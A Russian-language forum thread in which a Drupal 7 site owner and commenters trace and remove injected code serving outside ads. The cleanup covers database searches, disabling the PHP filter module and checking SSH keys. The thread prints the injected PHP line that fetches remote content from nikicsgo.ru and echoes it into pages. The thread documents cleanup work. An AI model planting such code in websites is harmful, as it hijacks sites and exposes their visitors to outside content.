Здравствуйте.
На сайте с Drupal 7 присутствует вредоносный код, который загружает текстовую рекламу с другого сайта.
Реклама загружается всегда через код с сайта nikicsgo.ru
Реклама показывается не постоянно и не всем.
Я её могу обнаружить, когда сервер, откуда загружается реклама, не доступен как сейчас.
Тогда при загрузке каждой страницы выдаётся блок с сообщением:
«Warning: file_get_contents(http://nikicsgo.ru/app.php) [function.file-get-contents]:
failed to open stream: HTTP request failed!
в функции eval() (строка 1 в файле /home/<Мой сайт>/public_html/modules/php/php.module(80) :
eval()'d code).»
Также обнаружил, что такой код есть на многих сайтах.
Например: http://mibi.rudn.ru/
Сообщение об ошибке у меня выводится точно такое.
Как определить, какой модуль загружает вредоносный код с рекламой, чтобы его удалить?
Можно ли определить какой модуль генерирует это сообщение об ошибке?
Комментарии
https://www.drupal.org/project/hacked это посмотрите
https://www.drupal.org/node/1086328
Если причина возможно в одной из строк вида:
<?php print render($...); ?>
то как определить в какой именно?
Таких строк много.
копаться в коде надо конкретно и знать его, наймите профессионала. Хотя вон выше директор вам написал возможную причину
Копаться в коде модулей нет никакого смысла. Правильно будет удалить все папки ядра и перезалить из заново и точно так же поступить с модулями. Не обновлять их, а именно перезалить после удаления. Таким образом удалятся все левые вредоносные файлы, а родные заражённые заменятся нормальными. Только после этого можно пробежаться глазами по всем файлам темы и кастомных модулей в поисках вредоносного кода.
Ага, и нихрена может не выйти, если вирус в базе в виде кода сидит, что тут и похоже, судя по симптомам.
А поиск в дампе базы по запросу eval может что-то дать?
Не факт, если там этот eval зашифрован сидит
В файле /home/<Мой сайт>/public_html/modules/php/php.module
перед ob_start(); (строка 78)
вставте этот код:
drupal_set_message($code);
и откройте страницу, на которой возникает эта ошибка..
На ней должно быть сообщение Drupal с php кодом..
Выложите этот код здесь.
Выводит пустое сообщение в зелёной рамке, как будто нет ошибок:
[URL=http://wikisend.com/download/348702/rtr.jpg]Скриншот[/URL]
А такой код:
drupal_set_message(htmlspecialchars($code));
??
Вывел сообщение:
<?php $html = file_get_contents("http://nikicsgo.ru/app.php"); echo $html;?>
В phpmyadmin (инстумент для работы с базой данных, обычно предоставляется хостингом) есть функция поиска слов по базе данных.
Ищите слово "nikicsgo.ru"
только сразу ничего не удаляйте..
Главное выяснить в каких таблицах и в каких полях встречается это слово(скорее всего там весь, приведенный Вами код)..
Проверьте пользователей с ролью "выше" "авторизированный"..
Не появилось ли лишних?
Отключите от греха подальше модуль PHP filter.
Если он как-то используется, ищите возможность обойтись без него.
Это он запускает тот "зловредный" код.
Отключил модуль PHP filter (хотя в правах и так указано было, что доступа к нему никому нет).
Блок рекламный пропал!
На его месте теперь отображается только один символ "*".
Страницы стали раз в 10 быстрее загружаться!
Теперь нужно восстанавливать данные для входа в phpmyadmin хостинга.
===
Для чего нужно искать код в базе данных? Чтобы заменить на безобидный?
Не главное ли найти откуда он вызывается?
я ждал этого.
Посмотрите ещё, что написано в сообщении, выводимом если поставить сайт в режим разработки и обязательно обратите внимание, скроллится ли окошко сообщения. Я так на одном сайте там увидел проклятия в адрес Эрдогана и клип Тупака)))
Только одно правильное сообщение выводится.
Как искать сразу по всем таблицам базы данных?
А то таблиц много.
Это поможет определить, откуда он вызывается.
Можно конечно "перелопатить" весь контент и админку сайта в его поиске.
А можно за 5 сек поиском по базе найти это место.
Поменяйте пароль для "главного" админа.
И все остальные пароли доступа к серверу:
БД
FTP
SSH(если в корне учетки на сервере есть папка .ssh, в ней может быть чужой ключ для доступа к серверу)
1) Как в PHPMyAdmin искать сразу по всем таблицам базы данных?
А то таблиц много.
2) В корне есть папка ".ssh" с 6 файлами.
Что в них можно поискать?
Нашёл 1 строку в 1 таблице содержащую
<?php $html = file_get_contents("http://nikicsgo.ru/app.php"); echo $html;?>
и 355 соответствий в таблице u3b1watchdog
Судя по содержанию это лог ошибок загрузки этой ссылки.
На какую безобидную строку можно заменить
<?php $html = file_get_contents("http://nikicsgo.ru/app.php"); echo $html;?>
В phpmyadmin в меню слева кликните мышкой на нужной базе данных.
Должна открыться страница с таблицей-списком таблиц БД.
Вверху страницы есть вкладка "Поиск", перейдите на нее.
В первое поле вводите искомое слово.
слева от списка таблиц щелкаете на ссылке "Выбрать все"
Жмете на кнопку поиска.
Откроется таблица-список таблиц БД.
В правом столбце напротив некоторых таблиц будет указано кол-во "найденного" и ссылка на просмотр записи таблицы, в которой найдено поисковое слово.
Как называется эта таблица и поле в котором этот код?
В файле authorized_keys публичные ключи пользователей, которые могут ходить на сайт по ssh.
Сохраните его на локальный комп на всякий пожарный.
У всех "легитимных" пользователей, которым необходим доступ к серверу по SSH, запросите публичные ключи.
Сравните их с ключами в этом файле(1 строка - 1 ключ)
строки с "лишними" ключами удалите
1 соответствие в таблице u3b1block_custom поле body
SELECT *
FROM `u3b1block_custom`
WHERE `body` LIKE '%nikicsgo.ru%'
LIMIT 0 , 30
2 абсолютно одинаковых файла ключа только (authorized_keys и authorized_keys2).
email в них правильный
Код в кастомном блоке.
скопируйте из поля bid этой записи находящееся в нем значение и вставте его в ссылку ниже вместо [ЗНАЧЕНИЕ ПОЛЯ bid]
и замените ДОМЕН_САЙТА на Ваш домен.
Это будет сслка на форму редактирования нужного блока.
Если он не нужен - удаляйте его.
Если нужен - аккуратно удалите из поля body "зловредный" код.
ссылка редактирования блока:
ДОМЕН_САЙТА/admin/structure/block/manage/block/[ЗНАЧЕНИЕ ПОЛЯ bid]/configure
сравнивать надо именно ключ - "набор" букв-цифр. в обоих файлах.
Главное, чтоб там небыло "лишних" ключей.
Ключей может быть несколько : 1 ключ - 1 строка
Возможно там и нет ключа злоумышленника , но убедиться в этом надо.
Судя по содержанию таблицы u3b1block_custom в ней хранятся блоки.
В поле info имя блока.
Нашёл этот блок. Тип содержимого блока PHP.
Содержимое блока отключено, так как у меня нет прав на редактирование.
Наверно из-за того, что я отключил права PHP filter всем.
Блок этот нужно удалить.
Но прежде хотелось бы узнать когда и каким пользователем этот блок был создан.
Как бы это сделать?!
Файлы идентичны, MD5 совпадает
В файле 2 ключа для одного email
ssh-rsa
ssh-dss
Права на файлы 0644, всем чтение, только владельцу и запись.
динамическое исполнение кода (eval, assert, create_function);
После удаления вредоносного кода сайт и антивирусом стал проверяться!
Пользователи со случайными именами за последние 2 года создавались сами еженедельно.
(За последние месяцы не создавались).
Но когда я смотрел их список, то они всегда были без прав администратора и заблокированы.
Может вредоносный код создавал запись Администратора, делал действия,
снимал права Администратора и блокировал себя?!
На сайте формы регистрации нет. И администратор в общем один у сайта.
Заблокировал даже прошлого администратора, так как он показывается,
что заходил на сайт неделю назад, хотя он не заходит скорее всего.
Может в браузере оставил у себя не закрытую сессию?!
===
Когда я удаляю пользователей, то выбираю пункт:
Удалить аккаунт и присвоить все его материалы учётной записи Гость.
Как просмотреть все материалы учётной записи Гость?